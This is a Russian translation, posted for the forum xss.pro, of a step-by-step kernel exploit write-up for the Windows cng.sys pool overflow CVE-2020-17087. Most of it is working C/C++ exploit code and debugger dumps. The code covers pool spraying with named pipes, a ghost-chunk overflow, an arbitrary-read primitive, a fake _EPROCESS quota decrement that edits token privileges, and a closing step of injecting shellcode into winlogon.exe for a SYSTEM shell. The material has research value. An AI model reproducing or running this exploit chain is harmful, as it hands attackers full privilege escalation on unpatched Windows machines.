[+] Allocated ae40 bytes DataEntry at ffff8d8f57fd1000
[+] RtlpHpVsSubsegmentCreate(req=be70): alloc ffff8d8f57fc5000 size 1ffd
[+] Allocated be40 bytes DataEntry at ffff8d8f57fc6000
[+] Allocated 9e30 bytes DataEntry at ffff8d8f57fd2000
Судя по текущему анализу, мы пока не можем создать подсегмент размером более 128 КБ. Соответствующий код для выделения подсегмента размером более 64 КБ:
C++:
void __fastcall ExAllocateHeapPool(unsigned int PoolType, SIZE_T NumberOfBytes, ULONG Tag, ULONG_PTR BugCheckParameter2, char a5)
{
// ...
// RtlpHpLargeAlloc() for larger than 0x20000
if ( _size > 0x20000 ) {
JUMPOUT(_size, *(unsigned int *)(v16 + 464), sub_1404675B9);
v78 = RtlpHpLargeAlloc(v16, _size, _size, v54);
v56 = v78;
}
else {
// Use VsContext for <= 0x20000
a6 = 0;
v98 = 0i64;
*(_OWORD *)a5a = 0i64;
// One of system 0x20000 goes through here, when reqested 0x9070
v56 = (__int64)RtlpHpVsContextAllocateInternal(// goes to VsContext allocator!
(_HEAP_VS_CONTEXT *)(v16 + 0x280),
_size,
v55,
v54,
(__int64)a5a,
&a6);
// ...
}
// ...
}
Окончательный макет 23-страничного подсегмента выглядит следующим образом:
Код:
[guard][g3,1P][------- g1, 10P --------][----- free space of 12P -----][guard]
2. Распылите целевых чанков
Этот шаг предназначен для заполнения 12 страниц свободного пространства после g1 целевыми фрагментами.
C++:
target_pipes = prepare_pipe(0x3D0, spray_cnt * 12 * 4 / 10, 'T', 20);
spray(target_pipes);
На каждой из 12 страниц будут выделены 4 целевых фрагмента и выровнены с одинаковыми смещениями, причем их фрагмент _POOL_HEADER начинается с 0x000, 0x3F0, 0x7E0, 0xBD0 соответственно. Мы ожидаем, что призрачный фрагмент будет на 0x7E0 страницы, а целевой фрагмент T, следующий за ним, будет на 0xBD0. Как показано ниже:
Код:
ffffd20a`a3f797d0 9e15ce1a de4a7ff9 0000000e ffffd20a ......J.........
ffffd20a`a3f797e0 0a3e9f00 7246704e 6cbebe8c 0e5b280c ..>.NpFr...l.([.
ffffd20a`a3f797f0 9092a4b8 ffff870e 9092a4b8 ffff870e ................
ffffd20a`a3f79800 00000000 00000000 909cfa00 ffff870e ................
ffffd20a`a3f79810 00000000 000003a0 000003a0 44444444 ............DDDD
ffffd20a`a3f79820 54545454 54545454 54545454 54545454 TTTTTTTTTTTTTTTT
ffffd20a`a3f79bc0 9e15c20a de4a7ff9 0000001e ffffd20a ......J.........
ffffd20a`a3f79bd0 0a3e9f00 7246704e 6cbeb2bc 0e5b280c ..>.NpFr...l.([.
ffffd20a`a3f79be0 9092a878 ffff870e 9092a878 ffff870e x.......x.......
ffffd20a`a3f79bf0 00000000 00000000 909cfdc0 ffff870e ................
ffffd20a`a3f79c00 00000000 000003a0 000003a0 44444444 ............DDDD
ffffd20a`a3f79c10 54545454 54545454 54545454 54545454 TTTTTTTTTTTTTTTT
3. Создайте дыры
Теперь мы можем освободить все блоки g1, чтобы получить непрерывное свободное пространство в 10 страниц. И выделить hole чанки (0x7F0 байтов). Поскольку каждая страница не может содержать два hole чанка, ожидается, что они будут размещены в начале каждой страницы на каждой свободной странице. После распределения всех hole чанков, выделите fill блоки (0x7B0 байтов), чтобы они занимали свободное пространство после каждого блока отверстий. Наконец, мы освобождаем одно отверстие для каждых 0x10 выделений, чтобы получить примерно одно отверстие на подсегмент для последних 2/3 созданных подсегментов.
C++:
hole_pipes = prepare_pipe(0x800 - 0x40, spray_cnt, 'H', 0); // 0x7f0 chunk
fill_pipes = prepare_pipe(0x7D0 - 0x40, spray_cnt, 'F', 0); // 0x7b0 chunk
close_all_pipe_from_idx(g1_pipes, 0);
spray(hole_pipes);
spray(fill_pipes);
create_holes_from(hole_pipes, spray_cnt / 3);
В этом макете спрея мы ожидаем, что каждый hole чанк будет распологаться в начале страницы.
4. Вызываем ошибку CNG
Теперь мы готовы активировать уязвимость, и ожидается, что выходной буфер CNG попадет в одну из только что созданных дыр.
C:
CONST DWORD DataBufferSize = 0x2BF9; // overwrites 0x2BF9 * 6 = 0x107D6 bytes, till 0x107E6
CONST DWORD IoctlSize = 4096 + DataBufferSize;
BYTE *IoctlData = (BYTE *)HeapAlloc(GetProcessHeap(), 0, IoctlSize);
RtlZeroMemory(IoctlData, IoctlSize);
*(DWORD*) &IoctlData[0x00] = 0x1A2B3C4D;
*(DWORD*) &IoctlData[0x04] = 0x10400;
*(DWORD*) &IoctlData[0x08] = 1;
*(ULONGLONG*)&IoctlData[0x10] = 0x100;
*(DWORD*) &IoctlData[0x18] = 3;
*(ULONGLONG*)&IoctlData[0x20] = 0x200;
*(ULONGLONG*)&IoctlData[0x28] = 0x300;
*(ULONGLONG*)&IoctlData[0x30] = 0x400;
*(DWORD*) &IoctlData[0x38] = 0;
*(ULONGLONG*)&IoctlData[0x40] = 0x500;
*(ULONGLONG*)&IoctlData[0x48] = 0x600;
*(DWORD*) &IoctlData[0x50] = DataBufferSize; // OVERFLOW
*(ULONGLONG*)&IoctlData[0x58] = 0x1000;
*(ULONGLONG*)&IoctlData[0x60] = 0;
RtlCopyMemory(&IoctlData[0x200], L"FUNCTION", 0x12);
RtlCopyMemory(&IoctlData[0x400], L"PROPERTY", 0x12);
memset(IoctlData + 0x1000 + DataBufferSize - 0x2, '\xdd', 0x2); // write 0x64 as BS
ULONG_PTR OutputBuffer = 0;
DWORD BytesReturned;
BOOL Status = DeviceIoControl(
hCng,
0x390400,
IoctlData,
IoctlSize,
&OutputBuffer,
sizeof(OutputBuffer),
&BytesReturned,
NULL
);
После перезаписи один из целевых фрагментов с желаемым смещением перезаписывается 6 байтами по адресу 0x7E6:
Код:
1: kd> gu
cng!CfgAdtReportFunctionPropertyOperation+0x22d:
fffff803`65351e39 85c0 test eax,eax
1: kd> dc ffffd20a`a3f797d0
ffffd20a`a3f797d0 00200030 00300030 00640020 00200064 0. .0.0. .d.d. .
ffffd20a`a3f797e0 00640064 72460020 6cbebe8c 0e5b280c d.d. .Fr...l.([.
ffffd20a`a3f797f0 9092a4b8 ffff870e 9092a4b8 ffff870e ................
ffffd20a`a3f79800 00000000 00000000 909cfa00 ffff870e ................
ffffd20a`a3f79810 00000000 000003a0 000003a0 44444444 ............DDDD
ffffd20a`a3f79820 54545454 54545454 54545454 54545454 TTTTTTTTTTTTTTTT
ffffd20a`a3f79830 54545454 54545454 54545454 54545454 TTTTTTTTTTTTTTTT
ffffd20a`a3f79840 54545454 54545454 54545454 54545454 TTTTTTTTTTTTTTTT
BlockSize блока перезаписан на 0x64 с предыдущего 0x3E. Остальные 5 соседних байтов перезаписаны либо не используются, либо не имеют значения. Мы называем этот фрагмент чанком призраком, поскольку его размер увеличился, чтобы перекрыть следующий целевой фрагмент T:
Код:
ffffd20a`a3f79bc0 9e15c20a de4a7ff9 0000001e ffffd20a ......J.........
ffffd20a`a3f79bd0 0a3e9f00 7246704e 6cbeb2bc 0e5b280c ..>.NpFr...l.([.
ffffd20a`a3f79be0 9092a878 ffff870e 9092a878 ffff870e x.......x.......
ffffd20a`a3f79bf0 00000000 00000000 909cfdc0 ffff870e ................
ffffd20a`a3f79c00 00000000 000003a0 000003a0 44444444 ............DDDD
ffffd20a`a3f79c10 54545454 54545454 54545454 54545454 TTTTTTTTTTTTTTTT
Освободив призрачный фрагмент и снова выделив его, мы можем записать 0x640 - 0x3E0 = 0x260 байтов произвольных данных в целевой фрагмент T. Эффективное преобразование однобайтовой перезаписи на BlockSize в управляемое линейное переполнение пула. И этот примитив можно вызывать многократно, что позволяет нам создавать более мощные примитивы.
5. Найти фантомный фрагмент
Предполагая, что позже обработанные целевые фрагменты распределяются последовательно, мы можем выполнить поиск в обратном направлении по дескрипторам целевых фрагментов, чтобы найти фантомный фрагмент. Идея состоит в том, чтобы освободить один целевой блок с его дескриптором, а затем немедленно выделить его обратно, а затем проверить соседний целевой блок, чтобы определить, произошло ли линейное переполнение пула. Выполняя поиск в обратном направлении, мы гарантируем, что если освобожденный целевой фрагмент не является призраком, он будет немедленно выделен обратно.
C++:
lookaside_t *ghost_lookaside = prepare_lookaside(0x640);
lookaside_t *target_lookaside = prepare_lookaside(0x3E0);
enable_lookaside(2, ghost_lookaside, target_lookaside);
С помощью динамического вспомогательного списка освобожденный блок-призрак (BlockSize 0x64) не вернется к обычному механизму освобождения, избегая BSOD, поскольку его заголовок блока VS поврежден:
Код:
1: kd> dc ffffd20a`a3f797d0
ffffd20a`a3f797d0 00200030 00300030 00640020 00200064 0. .0.0. .d.d. . // VS header
ffffd20a`a3f797e0 00640064 72460020 6cbebe8c 0e5b280c d.d. .Fr...l.([.
Обратите внимание, что мы не можем искать последовательно вперед, потому что между буфером CNG и призрачным фрагментом есть поврежденные фрагменты размером около 64 КБ, случайное освобождение любого из них приведет к немедленному BSOD. Мы создаем полезную нагрузку фантомного фрагмента следующим образом, обратите внимание, что указатели на корневую очередь недействительны. Нам нужно остановить поиск, как только будет найден целевой фрагмент T, поскольку освобождение объекта DQE с недопустимой корневой очередью приводит к немедленному BSOD.
Код:
// craft ghost chunk data in ghost_pipes->payload
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30+0x00) = 0xdeadbeef;// leak_root_queue
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30+0x08) = 0xdeadbeef;// leak_root_queue
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30+0x10) = 0xdeadbeef;// Irp
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30+0x18) = 0;// Security Context
*(UINT32*)(ghost_pipes->payload+0x3F0-0x30+0x20) = 0;// Type: Unbuffered
*(UINT32*)(ghost_pipes->payload+0x3F0-0x30+0x24) = 0xFFFFFFFF;// QuotaInEntry
*(UINT32*)(ghost_pipes->payload+0x3F0-0x30+0x28) = 0xFFFFFFFF;// DataSize
*(UINT32*)(ghost_pipes->payload+0x3F0-0x30+0x30) = 0x67676767;// Buf[]: "gggg"
Теперь мы можем начать поиск:
Код:
_LOG(output, "[*] Searching for overwritten target chunk\n");
for (ghost_idx = target_pipes->cnt - 2; ghost_idx >= 0; ghost_idx --)
{
BYTE buf[0x10] = { 0 };
create_hole_at(target_pipes, ghost_idx); // free DataEntry T[i]
fill_hole_at(ghost_pipes, ghost_idx); // alloc ghost chunk
peek_data(target_pipes, ghost_idx + 1, buf, 8);
if ( *(UINT32*)buf == 0x67676767 ) { // found "gggg"
aar_index = ghost_idx + 1;
aar_pipes = target_pipes;
_LOG(output, "[+] Target chunk at: index 0x%X, handle 0x%llX\n",
aar_index, (UINT64)target_pipes->writePipe[aar_index]);
break;
}
fill_hole_at(target_pipes, ghost_idx); // refill T[i]
}
6. Утечка действительного указателя корневой очереди
Когда фантомный фрагмент обнаружен, соседний целевой фрагмент T перезаписывается управляющими данными, включая DataSize и QuotaInEntry, изменяемые на 0xFFFFFFFF. Как уже использовалось при тестировании перезаписи при поиске на предыдущем шаге, мы можем утечь большое количество данных с помощью PeekNamedPipe. Читая за концом целевого фрагмента T на следующую страницу, мы можем получить действительный указатель на корневую очередь.
C++:
BYTE leak[0x480] = { 0 };
if ( !peek_data(target_pipes, aar_index, leak, sizeof(leak)) ) exp_failed();
if (*(UINT32*)(leak + 0x430 - 0x8) != 0x3A0) {
_LOG(output, "[-] Failed to locate next target chunk of size 0x3a0\n");
exp_failed();
}
leak_root_queue = *(UINT64*)(leak + 0x430 - 0x30);
target_pool_hdr = *(UINT64*)(leak + 0x430 - 0x30 - 0x10);
_LOG(output, "[+] Leaked Queue Ptr at\t: 0x%p\n", leak_root_queue);
7. Примитив произвольного чтения
Теперь мы можем снова вызвать контролируемое линейное переполнение пула, освободив фантомный фрагмент и выделив его обратно, на этот раз мы можем установить указатель корневой очереди на действительный указатель, только что утекший, тем временем мы устанавливаем указатель IRP на созданный объект IRP в пользовательском режиме, и установливаем для DataEntryType значение 1 (без буферизации). Обновленный целевой фрагмент T теперь может использоваться как примитив произвольного чтения адреса (AAR).
C++:
typedef struct pipe_queue_entry_sub {
UINT64 unk;
UINT64 unk1;
UINT64 unk2;
UINT64 data_ptr; // AssociatedIrp.SystemBuffer
} pipe_queue_entry_sub_t;
pipe_queue_entry_sub_t * fake_pipe_queue_sub;
fake_pipe_queue_sub = (pipe_queue_entry_sub_t *)malloc(sizeof(pipe_queue_entry_sub_t));
memset(fake_pipe_queue_sub, 0, sizeof(pipe_queue_entry_sub_t));
// update the ghost chunk, fix _POOL_HEADER
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30+0x00)= leak_root_queue; // QE.Flink
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30+0x08)= leak_root_queue; // QE.Blink
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30+0x10)= (UINT64) fake_pipe_queue_sub;
*(UINT32*)(ghost_pipes->payload+0x3F0-0x30+0x20)= 1; // Bufferred
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30-0x10)=target_pool_hdr;
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30-0x08)=0; // Clear ProcessBilled
*(UINT8*) (ghost_pipes->payload+0x3F0-0x30-0x10+0x3)=0x2; // Clear Quota bit
*(UINT32*)(ghost_pipes->payload+0x3F0-0x30+0x30)=0x6b61656c; // Buf[]: "leak"
create_hole_at(ghost_pipes, ghost_idx); // free ghost chunk
fill_hole_at(ghost_pipes, ghost_idx); // rewrite ghost chunk "GGG0"
current_pipe_offset = 0;
Теперь мы можем использовать эти две функции для выполнения AAR размером 4/8 или более байтов:
C++:
void arb_read_bytes(UINT64 where, int size, BYTE* readbuf)
{
fake_pipe_queue_sub->data_ptr = where;
peek_data(aar_pipes, aar_index, readbuf, size);
current_pipe_offset += size;
}
UINT64 arb_read(UINT64 where, int size)
{
BYTE readbuf[0x100] = { 0 };
fake_pipe_queue_sub->data_ptr = where;
peek_data(aar_pipes, aar_index, readbuf, size);
current_pipe_offset += size;
return size > 4 ? *(UINT64*)readbuf : *(UINT32*)readbuf;
}
8. Утечка указателей и значений
С AAR у нас есть утечка указателя корневой очереди в качестве отправной точки, мы можем утечь указатели и переменные, необходимые для этого эксплойта. Этот шаг ссылается на работу и образец кода в [3] и требует некоторого обращения к реальным структурам данных в _NP_CCB (блок управления клиентом именованного канала) и _NP_FCB (блок управления файлом именованного канала).
По утекшему указателю корневой очереди мы можем найти связанный файловый объект, а затем объект устройства и объект драйвера. Из указателя на объект драйвера мы можем получить указатель на функцию NpFsdCreate. Хотя это смещение все еще зависит от конкретной версии NPFS.sys, это смещение относительно стабильно во всех сборках Windows 10, мы можем получить базовый адрес !npfs. В финальной версии мы используем обратный поиск PE-заголовка по указателю NpFsdCreate, вызывая get_pe_base.
Методом проб и ошибок мы нашли две функции ntoskrnl, которые импортирует npfs, у которых есть прямые ссылки на переменные и указатель, который нам нужен для ntoskrnl. Мы используем find_nt_variables для извлечения их фактического адреса в памяти. Это общий метод, поскольку ntoskrnl имеет множество различных бинарных выпусков с 1903 по 20H2. Путем анализа двоичного файла из функций импорта ExFreePoolWithTag и ExAllocatePoolWithQuotaTag, мы можем получить адреса nt!RtlpHpHeapGlobals, на который ссылаются при кодировании/декодировании _HEAP_VS_CHUNK_HEADER, который позже используется указателем nt!PsInitialSystemProcess, который необходим для обхода активных процессов, чтобы найти указатели на сам процесс winlogon.exe и _EPROCESS. Поиск осуществляется с помощью find_address (начало UINT64, BYTE * opcode, BYTE * before, BYTE * after) с начальным адресом для поиска, шаблонами опкодов до и после адреса для поиска. Поскольку код управления памятью относительно стабилен в различных двоичных файлах ntoskrnl, ожидается, что он будет работать как общий для Windows 10. Алгоритм может потребоваться корректировка при тестировании другой сборки, которая не работает на этом этапе.
C++:
/* PsInitialSystemProcess - npfs imported ExAllocatePoolWithQuotaTag+0x36
* ExpPoolQuotaCookie - npfs imported ExAllocatePoolWithQuotaTag+0x90
* RtlpHpHeapGlobals - npfs imported ExFreeHeapPool+{0xC2,0xBD}: {20Hx,190x}
*/
BOOL find_nt_variables(UINT64 npfs_base_addr)
{
UINT64 ExAllocatePoolWithQuotaTag, ExFreePoolWithTag, ExFreeHeapPool;
UINT64 ExAllocatePoolWithQuotaTag_ptr, ExFreePoolWithTag_ptr;
ExFreePoolWithTag_ptr = npfs_base_addr + off_Npfs_ExFreePoolWithTag;
ExAllocatePoolWithQuotaTag_ptr = npfs_base_addr + off_Npfs_ExAllocatePoolWithQuotaTag;
ExAllocatePoolWithQuotaTag = arb_read(ExAllocatePoolWithQuotaTag_ptr, 0x8);
ExFreePoolWithTag = arb_read(ExFreePoolWithTag_ptr, 0x8);
/*
48 83 EC 28 sub rsp, 28h
E8 97 7A CD FF call ExFreeHeapPool
48 83 C4 28 add rsp, 28h
*/
ExFreeHeapPool = find_address(ExFreePoolWithTag, "\xE8",
"\x48\x83\xEC\x28", "\x48\x83\xC4\x28");
/*
48 8D 04 49 lea rax, [rcx+rcx*2]
48 33 1D BC 1B 3F 00 xor rbx, cs:RtlpHpHeapGlobals
48 33 DF xor rbx, rdi
48 C1 E0 06 shl rax, 6
*/
RtlpHpHeapGlobals_ptr = find_address(ExFreeHeapPool + 0xBD - 0x10,
"\x48\x33\x1D", "\x48\x8D\x04\x49", "\x48\x33\xDF\x48");
/*
44 0F 44 C9 cmovz r9d, ecx
48 3B 3D D3 EF A3 00 cmp rdi, cs:PsInitialSystemProcess
41 8D 69 08 lea ebp, [r9+8]
*/
PsInitialSystemProcess_ptr = find_address(ExAllocatePoolWithQuotaTag + 0x32 - 0x10,
"\x48\x3B\x3D", "\x44\x0F\x44\xC9", "\x41\x8D\x69\x08");
/*
49 8D 5F F0 lea rbx, [r15-10h]
48 8B 15 29 F5 A3 00 mov rdx, cs:ExpPoolQuotaCookie
45 33 C0 xor r8d, r8d
48 8B C2 mov rax, rdx
*/
ExpPoolQuotaCookie_ptr = find_address(ExAllocatePoolWithQuotaTag + 0x8C - 0x10,
"\x48\x8B\x15", "\x49\x8D\x5F\xF0", "\x45\x33\xC0\x48");
return (RtlpHpHeapGlobals_ptr && PsInitialSystemProcess_ptr && ExpPoolQuotaCookie_ptr);
}
Кроме этого, нам также нужно найти указатель _EPROCESS для собственного процесса и winlogon.exe. Поскольку мы уже получили nt!PsInitialSystemProcess, это хорошо документированный процесс получения структур процессов и адреса токена.
9. Готовимся к произвольному декрименту
Когда флаг PoolQuota установлен в _POOL_HEADER фрагмента VS, ProcessBilled устанавливается на закодированный указатель _EPROCESS, который используется для отслеживания распределения и освобождения статистики связанного фрагмента. QuotaBlock плохо документирован и, похоже, обновляется в разных сборках Windows. Требуется реверсирование соответствующих функций и метод проб и ошибок.
Код:
0: kd> dt nt!_EPROCESS 0xffffc50d9fc1d030 QuotaBlock
+0x568 QuotaBlock : 0xffffb203`c294e0a8 _EPROCESS_QUOTA_BLOCK
Когда блок освобождается, QuotaEntry соответствующего PsQuotaTypes изменяется. Произвольный декремент основан на вычитании в nt!PspReturnQuota, вызываемом из nt!ExFreeHeapPool: мы можем вычесть размер блока из QuotaEntry [PsNonPagedPool] .Usage. Следовательно, создав структуру _EPROCESS с указателем QuotaBlock, указывающим на определенное смещение к определенным позициям в токене, мы можем вычесть размер блока из QWORD в _TOKEN.Privileges, эффективно перевернув некоторые биты в полях Present и Enabled.
C++:
__int64 __fastcall ExFreeHeapPool(ULONG_PTR BugCheckParameter2)
{
// ...
if ( ChunkAddr & 0xFFF ) // not page aligned
{
OriginalHeader = ChunkAddr - 16;
if ( *(_BYTE *)(ChunkAddr - 13) & 4 ) // test PoolType & CacheAligned
{
OriginalHeader -= 16i64 * (unsigned __int8)*(_WORD *)OriginalHeader;
*(_BYTE *)(OriginalHeader + 3) |= 4u;
}
_PoolType = *(unsigned __int8 *)(OriginalHeader + 3);
_Tag = *(_DWORD *)(OriginalHeader + 4);
if ( _PoolType & 8 ) // PoolQuota flag: ProcessBilled
{
Process = (_BYTE *)(OriginalHeader ^ ExpPoolQuotaCookie ^ *(_QWORD *)(OriginalHeader + 8));
if ( OriginalHeader != (ExpPoolQuotaCookie ^ *(_QWORD *)(OriginalHeader + 8)) )
{
JUMPOUT(Process, 0xFFFF800000000000i64, &BugCheck_C2_466E46);
JUMPOUT(*Process & 0x7F, 3, &BugCheck_C2_466E46);
if ( Process != (_BYTE *)PsInitialSystemProcess )
{
PspReturnQuota(
*(char **)((OriginalHeader ^ ExpPoolQuotaCookie ^ *(_QWORD *)(OriginalHeader + 8)) + 0x568),
(_EPROCESS *)(OriginalHeader ^ ExpPoolQuotaCookie ^ *(_QWORD *)(OriginalHeader + 8)),
_PoolType & 1,
16i64 * (unsigned __int8)*(_WORD *)(OriginalHeader + 2));
Tag = *(unsigned int *)(OriginalHeader + 4);
}
ObDereferenceObjectDeferDeleteWithTag((ULONG_PTR)Process);// EPROCESS
}
}
// ...
}
В этом эксплойте PsPoolTypes равен 0 (PsNonPagedPool), а поле Usage находится со смещением 0 каждого EPROCESS_QUOTA_ENTRY, мы просто устанавливаем указатель QuotaBlock на расположение LSB для уменьшения:
C++:
// note the fake _EPROCESS starts at offset 0x70 of each buffer
void setup_fake_eprocess(UINT64 token_addr)
{
char fake_eproc_buf[0x3000] = { 0 };
copySelfEprocess(fake_eproc_buf, self_eprocess);
memcpy(fake_eproc_buf+0x1000, fake_eprocess_buf, FAKE_EPROCESS_SIZE);
#ifdef _WINDLL
memcpy(fake_eproc_buf+0x2000, fake_eprocess_buf, FAKE_EPROCESS_SIZE);
*(UINT64*)(fake_eproc_buf+0x70+off_QuotaBlock)=token_addr+0x4B; // dec1
*(UINT64*)(fake_eproc_buf+0x1070+off_QuotaBlock)=token_addr+0x44;// dec2
*(UINT64*)(fake_eproc_buf+0x2070+off_QuotaBlock)=token_addr+0x3D;// dec3
#else
*(UINT64*)(fake_eproc_buf+0x70+off_QuotaBlock)= token_addr+0x40;// 0x40 Present
*(UINT64*)(fake_eproc_buf+0x1070+off_QuotaBlock)= token_addr+0x48;//0x48 Enabled
#endif
alloc_fake_eprocess(fake_eprocess_buf, target_pipes, aar_index + 2);
}
Поддельный _EPROCESS - это точная копия собственного процесса с использованием AAR. Из-за разных начальных значений в токене нам нужны разные места для версии LPE и версии DLL. Как в коде выше.
Чтобы успешно освободить фрагмент таким образом, чтобы декремент QuotaBlock был эффективным, нам также необходимо исправить заголовок фрагмента VS _HEAP_VS_CHUNK_HEADER, сначала пропустив адрес VS Subsegment VSSubSegmentAddr с помощью find_vs_subsegment, а затем используя fix_vs_header, поскольку мы хотим освободить целевой фрагмент T. nt! RtlpHpHeapGlobals используется для получения HeapKey для кодирования заголовка. Фактический указатель _EPROCESS, обновляемый в ProcessBilled, кодируется через encode_ep:
C++:
// chunk_addr: address of the _POOL_HEADER
UINT64 encode_ep(UINT64 eproc, UINT64 chunk_addr)
{
return eproc ^ ExpPoolQuotaCookie ^ chunk_addr;
}
10. Выполняем декремент
Наконец, мы вызываем декремент, сначала вызывая переполнение линейного пула призрачного фрагмента, чтобы обновить созданный закодированный указатель ProcessBilled, правильный указатель корневой очереди target_write_queue для текущего целевого фрагмента T (обратите внимание, что T хотя и находится по тому же адресу, но фактически изменяется на новый блок каждый раз, когда он перераспределяется, то есть с другим указателем корневой очереди), установите флаг PoolQuota для заголовка и с фиксированным заголовком фрагмента VS. После переполнения мы можем освободить T, чтобы вызвать декремент.
Для стабильности нам нужно немедленно вернуть кусок T обратно, также в рамках подготовки к следующему декременту. Это делается с помощью rewrite_pipes и rewrite_pipes2, если требуется 3-й декремент. В настоящее время мы используем конвейеры перезаписи 0x200, чтобы восстановить кусок T для надежности. Каждый раз после перезаписи мы снова вызываем переполнение линейного пула призрачных фрагментов, чтобы превратить T в примитив утечки для поиска правильного фрагмента среди объектов DQE конвейера перезаписи:
C++:
rewrite_pipes = prepare_pipe(0x3D0, NUM_REWRITE_PIPES, 'V', 0); // for final decrement
rewrite2_pipes = prepare_pipe(0x3D0, NUM_REWRITE_PIPES, 'Z', 0);// to fill rewrite_pipes
rewrite3_pipes = prepare_pipe(0x3D0, NUM_REWRITE_PIPES, 'A', 0);// to fill rewrite2_pipes
Возьмем, к примеру, 2-й декремент, мы сначала перезаписываем T, чтобы он стал примитивом утечки (помечен как aar2), затем используем его, чтобы убедиться, что предыдущее восстановление работает нормально, а затем определяем новый фрагмент T. С помощью дескриптора мы можем найти его исходный указатель на корневую очередь с помощью find_write_queue, используя таблицу дескрипторов процесса. Наконец, мы снова вызываем переполнение линейного пула, используя призрачный фрагмент, чтобы установить новый ProcessBilled и пометить его как dec2, чтобы он был готов к освобождению для выполнения 2-го декремента.
C++:
// enable the arb_read() primitive and restore the target chunk to 0x3E0 bytes
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30-0x10) = target_pool_hdr;// _POOL_HEADER
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30-0x08) = 0; // Clear ProcessBilled
*(UINT8*) (ghost_pipes->payload+0x3F0-0x30-0x10+0x3) = 0x2; // Clear Quota bit
fix_vs_header((UINT64 *)(ghost_pipes->payload+0x3F0-0x30-0x20), target_page_addr + 0xbe0 - 0x20, 0x3e0);
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30+0x00)=leak_root_queue;// QE.Flink
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30+0x08)=leak_root_queue;// QE.Blink
*(UINT64*)(ghost_pipes->payload+0x3F0-0x30+0x10)=(UINT64)fake_pipe_queue_sub;
*(UINT32*)(ghost_pipes->payload+0x3F0-0x30+0x20)=1; // Unbuffered -> Bufferred
*(UINT32*)(ghost_pipes->payload+0x3F0-0x30+0x30)=0x32726161;// Buf[]: "aar2"
*(UINT32*)(ghost_pipes->payload+0x00) = 0x324C4747; // Mark: "GGL2"
create_hole_at(ghost_pipes, ghost_idx); // free ghost chunk
fill_hole_at(ghost_pipes, ghost_idx); // rewrite ghost chunk
current_pipe_offset = 0;
for (aar_index = 0; aar_index < NUM_REWRITE_PIPES; aar_index ++) {
BYTE buf[0x10] = { 0 };
if (!peek_data(rewrite_pipes, aar_index, buf, 8)) exp_failed();
if ( *(UINT32*)buf != 0x56565656) { // found overwrite if not 'VVVV'
aar_pipes = rewrite_pipes;
_LOG(output, "[+] Rewrite chunk (aar2/dec2) at: index 0x%X, handle 0x%llX\n", aar_index, (UINT64)rewrite_pipes->writePipe[aar_index]);
break;
}
}
if (aar_index == NUM_REWRITE_PIPES) {
_LOG(output, "[+] First rewrite of 0x3E0 bytes chunks failed. \n");
exp_failed();
}
// find the WriteQueue of the reclaimed rewrite chunk after ghost overwrite to fix it
find_write_queue(self_eprocess, rewrite_pipes->writePipe[aar_index]);
*(UINT64 *)(ghost_pipes->payload+0x3F0-0x30+0x00)=target_write_queue;// QE.Flink
*(UINT64 *)(ghost_pipes->payload+0x3F0-0x30+0x08)=target_write_queue;// QE.Blink
*(UINT64 *)(ghost_pipes->payload+0x3F0-0x30-0x08)=encode_ep(fake_eprocess + 0x1000, target_page_addr + 0xbe0 - 0x10);
*(UINT8 *) (ghost_pipes->payload+0x3F0-0x30-0x10+0x3) |= 0x8; // Set Quota bit
*(UINT64 *)(ghost_pipes->payload+0x3F0-0x30+0x10)=0; // Clear Irp buffer
*(UINT32 *)(ghost_pipes->payload+0x3F0-0x30+0x20)=0; // Unbufferred
*(UINT32 *)(ghost_pipes->payload+0x3F0-0x30+0x30)=0x32636564;// Buf[]: "dec2"
*(UINT32 *)(ghost_pipes->payload+0x00)=0x32474747; // Mark: "GGG2"
create_hole_at(ghost_pipes, ghost_idx); // free ghost chunk
fill_hole_at(ghost_pipes, ghost_idx); // rewrite ghost chunk
// perform 2nd decrement (-0x3E0) at Token + 0x48: 0x800000 - 0x3e0 = 0x7ffc20
create_hole_at(rewrite_pipes, aar_index);
spray(rewrite2_pipes);
Обратите внимание, что объект DQE должен быть переведен в небуферизованный режим, прежде чем он будет освобожден.
11. Вызываем оболочку SYSTEM
После получения SeDebugPrivilege мы можем внедрить шелл-код в winlogon.exe для создания оболочки SYSTEM.
Ссылки
- Mateusz Jurczyk (@j00ru) and Sergei Glazunov, Issue 2104: Windows Kernel cng.sys pool-based buffer overflow in IOCTL 0x390400
- Mateusz Jurczyk (@j00ru), CVE-2020-17087: Windows pool buffer overflow in cng.sys IOCTL
- Corentin Bayet (@OnlyTheDuck) and Paul Fariello (@paulfariello), SSTIC2020: Scoop the Windows 10 pool!
- Angelboy (@scwuaptx), Hitcon'20 CTF: Lucifer Challenge writeup
- Angelboy (@scwuaptx), Hitcon'20 CTF: MichaelStorage challenge writeup
- Angelboy (@scwuaptx), Windows Kernel Heap: Part 1: Segment Heap in Windows Kernel
- Mark Vincent Yason (@MarkYason), Windows 10 Segment Heap Internals, BlackHat USA 2016.
Эта статья является переводом, оригинал доступен тут
Получившийся перевод дался не легко, в тексте очень много терминов и их склонений которые очень сложно перевести на русский так, чтобы передать суть.
Если в переводе есть ошибки - не стесняйтесь о них писать!
Перевод:
Azrv3l cпециально для xss.pro